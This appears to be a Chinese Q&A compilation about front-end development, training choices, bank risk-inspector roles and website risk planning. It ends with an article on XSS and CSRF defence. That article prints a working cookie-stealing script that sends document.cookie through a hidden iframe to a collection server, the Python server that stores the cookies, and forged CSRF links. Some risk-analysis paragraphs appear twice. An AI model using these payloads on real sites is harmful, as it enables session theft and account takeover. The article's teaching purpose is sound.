⑴ 網站前端開發都需要掌握哪些知識
我們都知道網站開發分為 前端(客戶端)和 後端(伺服器端)兩個部分。網站開發 後端 更多的是與資料庫進行交互以處理相應的業務邏輯。需要考慮的是如何實現功能、數據的存取、平台的穩定性與性能等。至於 前端,在這里泛指Web前端,也就是在Web應用中用戶可以看得見碰得著的東西。包括Web頁面的結構、Web的外觀視覺表現以及Web層面的交互實現。主要負責實現視覺和交互效果,以及與伺服器通信,完成業務邏輯。它的核心價值在於實現用戶體驗,大型互聯網公司的用戶體驗部門,一般會包括用戶研究、交互設計、前端技術和視覺設計等方面的內容。
作為一名網站前端開發者,以下的知識是不可或缺的:
1HTMLHTML即HyperText Markup Languag,超級文本標記語言。這是網站開發中最簡單的,也是最基礎的內容,幾乎所有的開發者都必須首先經歷這個環節。必須要熟練掌握div、form、table、li 、p、span、font等等標簽,這些都是最常用的。其中尤其需要注意div和table這兩個,算是用到最多的內容。div用於布局;table用來和數據打交道(雖然table也可以用於布局,但是並不靈活)。
2CSSCSS即Cascading style Sheets層疊樣式表,其中css3我們先不談。CSS主要用於輔助html來布局和展示,我們稱之為「css樣式」。對於css要掌握的內容主要包括float、position、width、height、overflow、margin、padding等等,這些都是跟布局有關系的樣式。不管你用什麼工具軟體製作網頁,其實都有在有意無意地使用CSS。用好CSS能使你的網頁更加簡煉,為什麼同樣內容的網頁,有的人做出來有幾十KB,而高手做出來只有十幾KB,CSS在其中的作用是不言而喻的。
3JSJS即JavaScript,作為一種直譯式腳本語言,是一種動態類型、弱類型、基於原型的語言,內置支持類型。它的解釋器被稱為JavaScript引擎,為瀏覽器的一部分,廣泛用於客戶端的腳本語言,最早是在HTML(標准通用標記語言下的一個應用)網頁上使用,用來給HTML網頁增加動態功能。我們所講的前兩個內容都很基礎,接下來的東西可能接受起來有難度,但是事實上js入門算是比較簡單的,不需要會很多東西的。基礎點的內容只要會根據某個id、或者name拿到網頁dom或者樣式、或者值,然後會給某個id或者name的元素標簽賦值、或者追加數據、追html,這個是跟數據有關系的操作,之後數據邏輯判斷。至於效果方面的,無非就是跳轉、彈框、隱藏什麼的。當然,這些東西單獨拿出來比較簡單,但是實際中幾乎沒有這么簡單的情況,很多時候都需要把這些各種各樣地結合起來。
4JQueryJQuery說白了是一個JavaScript(JS)框架,相當於把js封裝了一套的一個js插件,目的就是操作起來更方便,代碼寫的更少,它支持JS的常規操作以及一些擴展,比如圖形等,對JSON格式也能很好的解析,ajax也做了封裝,語法也比較簡單。功能十分強大。jquery入門也很簡單,那些是入門需要學的和js一樣,只是換成了jq的代碼。不好的地方是它將js語法與開發人員完全隔離,也就說你開發幾年JQuery後還會不會用純 編程都是個問題。
5CSS3+HTML5這是最近比較流行的內容了。HTML5在原有的基礎上新增和移除了一些元素,提供了對表單的強大支持。它並非僅僅用來表示Web內容,它的新使命是將Web帶入一個成熟的應用平台,在HTML 5平台上,視頻,音頻,圖象,動畫,以及同電腦的交互都被標准化。CSS3對於我們Web開發者來說不只是新奇的技術,更重要的是這些全新概念的web應用給我們帶來更多無限的可能性,也極大地提高了我們的開發效率。我們將不必再依賴圖片或者Javascript 去完成圓角、多背景、用戶自定義字體、3D動畫、漸變、盒陰影、文字陰影、透明度等提高Web設計質量的特色應用。
6簡單後台語言作為一名前端開發者不僅需要掌握上面講的有關前端的知識,還必須懂一點後台語言,比如java、php等等。因為前台界面的數據都是從後台來的,我們必須知道怎麼跟後台交互數據。這樣不僅能夠節約時間,還可以讓前端代碼更規范,讓後台開發者減少一些不必要的麻煩。否則的話,可能因為前台的寫法和後端給來的數據不能結合上,導致前端代碼必須重新編寫。
⑵ 學習前端需要注意什麼
前端前景是很不錯的,像前端這樣的專業還是一線城市比較好,師資力量跟得上、就業的薪資也是可觀的,學習前端可以按照路線圖的順序,
0基礎學習前端是沒有問題的,關鍵是找到靠譜的前端培訓機構,你可以深度了解機構的口碑情況,問問周圍知道這家機構的人,除了口碑再了解機構的以下幾方面:
1. 師資力量雄厚
要想有1+1>2的實際效果,很關鍵的一點是師資隊伍,你接下來無論是找個工作還是工作中出任哪些的人物角色,都越來越愛你本身的技術專業前端技術性,也許的技術專業前端技術性則絕大多數來自你的技術專業前端教師,一個好的前端培訓機構必須具備雄厚的師資力量。
2. 就業保障完善
實現1+1>2效果的關鍵在於能夠為你提供良好的發展平台,即能夠為你提供良好的就業保障,讓學員能夠學到實在實在的知識,並向前端學員提供一對一的就業指導,確保學員找到自己的心理工作。
3. 學費性價比高
一個好的前端培訓機構肯定能給你帶來1+1>2的效果,如果你在一個由專業的前端教師領導並由前端培訓機構自己提供的平台上工作,你將獲得比以往更多的投資。
希望你早日學有所成。
⑶ 去前端培訓前,需要注意些什麼
要對這所培訓學校的整體進行先一步的考量,機構的整體風評怎麼樣,學員畢業後的就業前景如何,學到的知識夠不夠深入以及學員對培訓學校的風評如何等等,考量清楚後再去報名會比較好。
如果報名了就需要你好好的學習,因為技術這門專業如果不打好基礎,後期畢業開始工作自學等會舉步維艱。
⑷ 前端風險督查員是做什麼的
交行內部系統下發的件進行上門核實信息
⑸ 做了一年前端,應該掌握些什麼
JavaScript、Jquery、CSS3、HTML5、Ajax、DOM、BOM,在精通這些技術的同時,還要清楚地了解它們在不同瀏覽器上的兼容情況、渲染原理和存在的Bug,反正需要學習的知識也不少吧。
希望可以幫到您,謝謝!
⑹ 交通銀行前端風險督察是做什麼的,正式編制嗎工資多少啊有干頭嗎相關的還知道什麼,請各位大神幫忙
名字挺神的,我感覺就是會計櫃上的事中監督。供參考。
⑺ 前端控制的原則
前端控制是現代文件管理理念之一,即在文件形成之時就介入其質量控制。按文件生命周期劃分階段,地質資料的「形成」之時是前端,「鑒定、整理、編目、入庫、借閱」等具體操作為中端,「銷毀」是末端。在紙質載體檔案管理中,傳統上稱歸檔前的為科技文件材料,歸檔後稱地質資料。科技文件材料的產生是在工程作業現場或地質研究場所,特別是在勘探開發工程作業現場,首先接觸到地質科技文件材料的是負責生產管理的工程技術人員。現場記錄的文字與數據就產生於現場技術人員之手,在沒有移交資料管理人員之前,就是他們管理著地質科技文件材料,也就是他們處在地質資料管理的前端。電子文件和數據採集也出自他們的工作過程。前端控制是全程管理的重要前提。地質資料管理的前端控制概念是20世紀後期提出來的。有人懷疑前端控制,認為這超出地質資料管理工作范圍,有越位之嫌。但作者認為前端控制有以下的必要性:
(一)是保證資料真實可靠、完整規范、可識別的前提
各類地質報告在形成初期,文字材料有初稿、二稿和終稿之分,電子文件也具有易流失、易刪改特性,很容易出現差錯,在源頭出現差錯若不能及時發現和改正,這件地質資料質量就沒有保證,運用於指導勘探工程,不但造成工程時間上的不可彌補,探礦工程的經費損失也是非常大的。若錯了的勘探數據信息,沒有被發現,用來誤導接下來的處理、解釋和研究,其損失更大。花費大量人力、物力、財力的勘探開發工程,取得的地質資料不完整,或者電子文件讀不出來,或數據信息是錯的,後果是嚴重的。地質科技文件材料與數據產生後,即需標明責任者,電子文件就該及時賦予標識,防止修改,防止刪除,並附有背景說明。
(二)可優化管理,提高管理效率
傳統的地質資料管理,其前端是對歸檔的地質科技文件材料進行整理、編號、標識、入庫。歸檔前的地質科技文件材料管理沒有進入全程管理的視野,也無章法可循,一般由地質科技人員或工程技術人員保管,對質量也無規范性要求。實施前端控制後,使整個地質資料管理成了一個體系,標准、規范一貫到底,不但與工程施工、實驗分析、數據處理、地質研究環環緊密相扣,還能促成地質資料管理業務流程一體化,減少乃至消除地質資料歸檔前、歸檔後的管理管理環節疏漏或重復,達到功能合理,效率更高的效果。
現在的工程設備上地質資料的產生,大多為機出資料,自動列印。也有人工記錄,如施工班報、生產日報等,但人工記錄也都是計算機製作相關文字和報表。在文件形成的同時,將文件內容進行描述、文件結構、背景、版本、數據生成環境、存在狀態等方面的信息進行採集。如鑽井的基礎數據,文字性資料的著錄項等,這些數據是一次採集,全程使用。這種方法可以避免在地質資料歸檔著錄時的重復採集及其由於二次或多次數據採集輸入而出現的出錯概率。
以前地質資料管理部門,對前端產生了哪些地質資料,什麼時間應該歸檔心中無數,質量評判也缺乏依據。實行前端控制後,對產生的地質資料的數量和質量參與了控制,可以及時調劑利用和通知入館歸檔。
⑻ 參加挑戰杯創業大賽設計一個網站,計劃書里關於風險分析和風險評估應該怎麼寫,求大神指導!急
首先要理解含義:
1、風險分析有狹義和廣義兩種,狹義的風險分析是指通過定量分析的方法給出完成任務所需的費用、進度、性能三個隨機變數的可實現值的概率分布。而廣義的風險分析則是一種識別和測算風險,開發、選擇和管理方案來解決這些風險的有組織的手段。它包括風險識別、風險評估和風險管理三方面的內容。
2、風險評估是指,在風險事件發生之後,對於風險事件給人們的生活、生命、財產等各個方面造成的影響和損失進行量化評估的工作。
再來看網站的風險評估是什麼含義:
是對風險進行定性分析,確定風險發生的概率和後果,並依據風險對項目目標的影響程度對項目風險進行等級排序。 對於任何軟體的開發,其主要風險均來自於兩個方面,一是網站管理,二是網站體系結構。
風險主要來自以下幾個方面
1、網站進度風險:即網站是否能夠按工期的要求完成。網站構建是一個大型的開發項目,涉及到網站的前端和後台開發,也涉及到整個網站的工作運行流程,而該項目的上線時間是不能改變的,所以項目進度是一個簽字的風險。如果,不能按時完成,則大量需要文檔進行協調的工作時,致使開發進度越來越慢。網站的開發不同於其他的工程,在不同的工程階段,需要的人員不同,需要配合的方面也不同,所有這些都需要行之有效的軟體管理的保證。
2、網站需求風險:開發是以用戶的需求開始,在大多數情況下,用戶需求要靠網站開發方誘導才能保證需求的完整,再以書面的形式形成《用戶需求》這一重要的文檔。需求分析更多的是開發方確認需求的可行性和一致性的過程,在此階段需要和用戶進行廣泛的交流和確認。需求和需求分析的任何疏漏造成的損失會在軟體系統的後續階段被一級一級地放大,因 此本階段的風險很大。
3、技術開發風險:本網站的開發主要用到了javascript作為前台開發和servelet後台相結合的結構體系,並設計到了Orcle的資料庫部分。組件和構件技術都是為了提高網站的可靠性和網站的友好性而採用的技術手段。從技術成熟度上說不存在風險,但為了實現良好的網站構架和客戶體驗度,與傳統開發方法比較,有相當的多的額外工作需要做,這會給項目工期帶來一定的風險,但影響較小。
4、網站質量體系風險:任何網站管理忽略軟體質量監督環節都將對網站的生產構成巨大的風險。網站的質量體系集中在開發中的測試階段和最後的維護階段。隨著網站系統的不斷擴大,需要不斷的對網站的體系進行維護和改進,如果監督不到位,技術支持體系將會無效運轉,造成損失。
5、網站設計風險:本身的風險主要來自於系統分析人員。分析人員在設計網站結構時過於定製,網站的友好型和實用性較弱,會給後期維護帶來巨大的負擔,和維護成本的激增。對用戶來說網站的點擊比例會有明顯的折扣,甚至造成訪問量急劇減少。反之,網站結構的過於靈活和通用,必然引起網站開發的難度增加,網站的復雜度會上升,這又會在實現和測試階段帶來風險,網站的穩定性也會受到影響。所以,該風險巨大。
6、人員流失風險:在網站開發過程中,有兩種可能導致人員流失:一是工作乏味且壓力過大,二是積累了開發經驗,尋求更高發展。過程中,項目人員流動會對項目開發造成很大的影響,因為每一塊的內容都是分配下去的,一環出現空缺,會導致後續開發無法進行下去,即使替補,也是因為兩者理念不同,而增加理解過程,導致網站開發進度變慢,影響嚴重。
希望對你有用
3、技術開發風險:本網站的開發主要用到了javascript作為前台開發和servelet後台相結合的結構體系,並設計到了Orcle的資料庫部分。組件和構件技術都是為了提高網站的可靠性和網站的友好性而採用的技術手段。從技術成熟度上說不存在風險,但為了實現良好的網站構架和客戶體驗度,與傳統開發方法比較,有相當的多的額外工作需要做,這會給項目工期帶來一定的風險,但影響較小。 4、網站質量體系風險:任何網站管理忽略軟體質量監督環節都將對網站的生產構成巨大的風險。網站的質量體系集中在開發中的測試階段和最後的維護階段。隨著網站系統的不斷擴大,需要不斷的對網站的體系進行維護和改進,如果監督不到位,技術支持體系將會無效運轉,造成損失。 5、網站設計風險:本身的風險主要來自於系統分析人員。分析人員在設計網站結構時過於定製,網站的友好型和實用性較弱,會給後期維護帶來巨大的負擔,和維護成本的激增。對用戶來說網站的點擊比例會有明顯的折扣,甚至造成訪問量急劇減少。反之,網站結構的過於靈活和通用,必然引起網站開發的難度增加,網站的復雜度會上升,這又會在實現和測試階段帶來風險,網站的穩定性也會受到影響。所以,該風險巨大。 6、人員流失風險:在網站開發過程中,有兩種可能導致人員流失:一是工作乏味且壓力過大,二是積累了開發經驗,尋求更高發展。過程中,項目人員流動會對項目開發造成很大的影響,因為每一塊的內容都是分配下去的,一環出現空缺,會導致後續開發無法進行下去,即使替補,也是因為兩者理念不同,而增加理解過程,導致網站開發進度變慢,影響嚴重。 網站總體風險等級
⑼ 交通銀行太平洋信用卡中心前端風險督察員是做什麼的
主要是對持卡人的消費還款進行風險預估和控制。
⑽ 前端安全方面有沒有了解xss和csrf如何攻防
在那個年代,大家一般用拼接字元串的方式來構造動態 sql 語句創建應用,於是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數化查詢 已經成了普遍用法,我們已經離 SQL 注入很遠了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠離我們。由於之前已經對 XSS 很熟悉了,所以我對用戶輸入的數據一直非常小心。如果輸入的時候沒有經過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉義。所以個人感覺,要避免 XSS 也是很容易的,重點是要「小心」。但最近又聽說了另一種跨站攻擊 CSRF ,於是找了些資料了解了一下,並與 XSS 放在一起做個比較。
XSS:腳本中的不速之客
XSS 全稱「跨站腳本」,是注入攻擊的一種。其特點是不對伺服器端造成任何傷害,而是通過一些正常的站內交互途徑,例如發布評論,提交含有 JavaScript 的內容文本。這時伺服器端如果沒有過濾或轉義掉這些腳本,作為內容發布到了頁面上,其他用戶訪問這個頁面的時候就會運行這些腳本。
運行預期之外的腳本帶來的後果有很多中,可能只是簡單的惡作劇——一個關不掉的窗口:
1
2
3
while (true) {
alert("你關不掉我~");
}
也可以是盜號或者其他未授權的操作——我們來模擬一下這個過程,先建立一個用來收集信息的伺服器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站腳本注入的信息收集伺服器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然後在某一個頁面的評論中注入這段代碼:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 <script type="text/javascript"></script> 包起來放在評論中
(function(window, document) {
// 構造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "http://192.168.123.123/myxss/";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隱藏 iframe 用於通訊
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 開工
document.body.appendChild(hideFrame);
})(window, document);
於是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背後正悄悄的發起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發送到收集伺服器上。
我們知道 AJAX 技術所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當前域名下的 URL,所謂不能「跨域」問題。這種做法的初衷也是防範 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達到相同的目的。甚至在願意的情況下,我還能用 iframe 發起 POST 請求。當然,現在一些瀏覽器能夠很智能地分析出部分 XSS 並予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什麼是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應該把事關安全性的責任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點對於 Web 開發者應該是常識。
正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那麼把所有用戶輸入進行 HTML 轉義輸出是個不錯的做法。似乎很多 Web 開發框架、模版引擎的開發者也發現了這一點,Django 內置模版和 Jinja2 模版總是默認轉義輸出變數的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數,Python 可以導入 cgi 模塊用其中的 cgi.escape 函數。如果使用了某款模版引擎,那麼其必自帶了方便快捷的轉義方式。
真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標簽是沒有用的,任何一個合法 HTML 標簽都可以添加 onclick 一類的事件屬性來執行 JavaScript。對於復雜的情況,我個人更傾向於使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復雜的結構,但我們並不將這些數據直接存入資料庫,而是使用 HTML 解析庫遍歷節點,獲取其中數據(之所以不使用 XML 解析庫是因為 HTML 要求有較強的容錯性)。然後根據用戶原有的標簽屬性,重新構建 HTML 元素樹。構建的過程中,所有的標簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復雜輸入不能為解析器所識別(前面說了 HTML 不同於 XML,要求有很強的容錯性),那麼它不會成為漏網之魚,因為白名單重新整理的策略會直接丟棄掉這些未能識別的部分。最後獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標簽、屬性都來自白名單,一定不會遺漏。
現在看來,大多數 Web 開發者都了解 XSS 並知道如何防範,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由於疏漏。我個人建議在使用模版引擎的 Web 項目中,開啟(或不要關閉)類似 Django Template、Jinja2 中「默認轉義」(Auto Escape)的功能。在不需要轉義的場合,我們可以用類似 的方式取消轉義。這種白名單式的做法,有助於降低我們由於疏漏留下 XSS 漏洞的風險。
另外一個風險集中區域,是富 AJAX 類應用(例如豆瓣網的阿爾法城)。這類應用的風險並不集中在 HTTP 的靜態響應內容,所以不是開啟模版自動轉義能就能一勞永逸的。再加上這類應用往往需要跨域,開發者不得不自己打開危險的大門。這種情況下,站點的安全非常 依賴開發者的細心和應用上線前有效的測試。現在亦有不少開源的 XSS 漏洞測試軟體包(似乎有篇文章提到豆瓣網的開發也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎麼說,我認為從用戶輸入的地方把好關總是成本最低而又最有效的做法。
CSRF:冒充用戶之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什麼區別,後來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實現 CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習慣上把通過 XSS 來實現的 CSRF 稱為 XSRF。
CSRF 的全稱是「跨站請求偽造」,而 XSS 的全稱是「跨站腳本」。看起來有點相似,它們都是屬於跨站攻擊——不攻擊伺服器端而攻擊正常訪問網站的用戶,但前面說了,它們的攻擊類型是不同維度上的分 類。CSRF 顧名思義,是偽造請求,冒充用戶在站內的正常操作。我們知道,絕大多數網站是通過 cookie 等方式辨識用戶身份(包括使用伺服器端 Session 的網站,因為 Session ID 也是大多保存在 cookie 裡面的),再予以授權的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(即擁有身份 cookie 的瀏覽器端)發起用戶所不知道的請求。
嚴格意義上來說,CSRF 不能分類為注入攻擊,因為 CSRF 的實現途徑遠遠不止 XSS 注入這一條。通過 XSS 來實現 CSRF 易如反掌,但對於設計不佳的網站,一條正常的鏈接都能造成 CSRF。
例如,一論壇網站的發貼是通過 GET 請求訪問,點擊發貼之後 JS 把發貼內容拼接成目標 URL 並訪問:
http://example.com/bbs/create_post.php?title=標題&content=內容
那麼,我只需要在論壇中發一帖,包含一鏈接:
http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈
只要有用戶點擊了這個鏈接,那麼他們的帳戶就會在不知情的情況下發布了這一帖子。可能這只是個惡作劇,但是既然發貼的請求可以偽造,那麼刪帖、轉帳、改密碼、發郵件全都可以偽造。
如何解決這個問題,我們是否可以效仿上文應對 XSS 的做法呢?過濾用戶輸入, 不允許發布這種含有站內操作 URL 的鏈接。這么做可能會有點用,但阻擋不了 CSRF,因為攻擊者可以通過 QQ 或其他網站把這個鏈接發布上去,為了偽裝可能還使用 bit.ly 壓縮一下網址,這樣點擊到這個鏈接的用戶還是一樣會中招。所以對待 CSRF ,我們的視角需要和對待 XSS 有所區別。CSRF 並不一定要有站內的輸入,因為它並不屬於注入攻擊,而是請求偽造。被偽造的請求可以是任何來源,而非一定是站內。所以我們唯有一條路可行,就是過濾請求的 處理者。
比較頭痛的是,因為請求可以從任何一方發起,而發起請求的方式多種多樣,可以通過 iframe、ajax(這個不能跨域,得先 XSS)、Flash 內部發起請求(總是個大隱患)。由於幾乎沒有徹底杜絕 CSRF 的方式,我們一般的做法,是以各種方式提高攻擊的門檻。
首先可以提高的一個門檻,就是改良站內 API 的設計。對於發布帖子這一類創建資源的操作,應該只接受 POST 請求,而 GET 請求應該只瀏覽而不改變伺服器端資源。當然,最理想的做法是使用 REST 風格 的 API 設計,GET、POST、PUT、DELETE 四種請求方法對應資源的讀取、創建、修改、刪除。現在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然後用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經不可能通過發布鏈接來偽造請求了,但他們仍可以發布表單,或者在其他站點上使用我們肉眼不可見的表單,在後台用 js 操作,偽造請求。
接下來我們就可以用比較簡單也比較有效的方法來防禦 CSRF,這個方法就是「請求令牌」。讀過《J2EE 核心模式》的同學應該對「同步令牌」應該不會陌生,「請求令牌」和「同步令牌」原理是一樣的,只不過目的不同,後者是為了解決 POST 請求重復提交問題,前者是為了保證收到的請求一定來自預期的頁面。實現方法非常簡單,首先伺服器端要以某種策略生成隨機字元串,作為令牌(token), 保存在 Session 里。然後在發出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一並發出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登陸驗證身份。
請求令牌雖然使用起來簡單,但並非不可破解,使用不當會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點要注意:
雖然請求令牌原理和驗證碼有相似之處,但不應該像驗證碼一樣,全局使用一個 Session Key。因為請求令牌的方法在理論上是可破解的,破解方式是解析來源頁面的文本,獲取令牌內容。如果全局使用一個 Session Key,那麼危險系數會上升。原則上來說,每個頁面的請求令牌都應該放在獨立的 Session Key 中。我們在設計伺服器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標識作為 Session 中保存令牌的鍵。
在 ajax 技術應用較多的場合,因為很有請求是 JavaScript 發起的,使用靜態的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的 API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。
第一點說了請求令牌理論上是可破解的,所以非常重要的場合,應該考慮使用驗證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗都不好,所以需要產品開發者權衡。
無論是普通的請求令牌還是驗證碼,伺服器端驗證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學校的選課系統就有這個 問題,驗證碼用完並未銷毀,故只要獲取一次驗證碼圖片,其中的驗證碼可以在多次請求中使用(只要不再次刷新驗證碼圖片),一直用到 Session 超時。這也是為何選課系統加了驗證碼,外掛軟體升級一次之後仍然暢通無阻。
如下也列出一些據說能有效防範 CSRF,其實效果甚微的方式甚至無效的做法。
通過 referer 判定來源頁面:referer 是在 HTTP Request Head 裡面的,也就是由請求的發送者決定的。如果我喜歡,可以給 referer 任何值。當然這個做法並不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。
過濾所有用戶發布的鏈接:這個是最無效的做法,因為首先攻擊者不一定要從站內發起請求(上面提到過了),而且就算從站內發起請求,途徑也遠遠不知鏈接一條。比如 <img src="./create_post.php" /> 就是個不錯的選擇,還不需要用戶去點擊,只要用戶的瀏覽器會自動載入圖片,就會自動發起請求。 *在請求發起頁面用 alert 彈窗提醒用戶:這個方法看上去能幹擾站外通過 iframe 發起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者乾脆脫離 iframe,使用 Flash 來達到目的。
總體來說,目前防禦 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有「無恥」二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發者,我們能做的就是盡量提高破解難度。當破解難度達到一定程度,網站就逼近於絕對安全的位置了(雖然不能到達)。上述請求令牌方法,就我 認為是最有可擴展性的,因為其原理和 CSRF 原理是相剋的。CSRF 難以防禦之處就在於對伺服器端來說,偽造的請求和正常的請求本質上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區別——來源頁面不同。我們還可 以做進一步的工作,例如讓頁面中 token 的 key 動態化,進一步提高攻擊者的門檻。本文只是我個人認識的一個總結,便不討論過深了。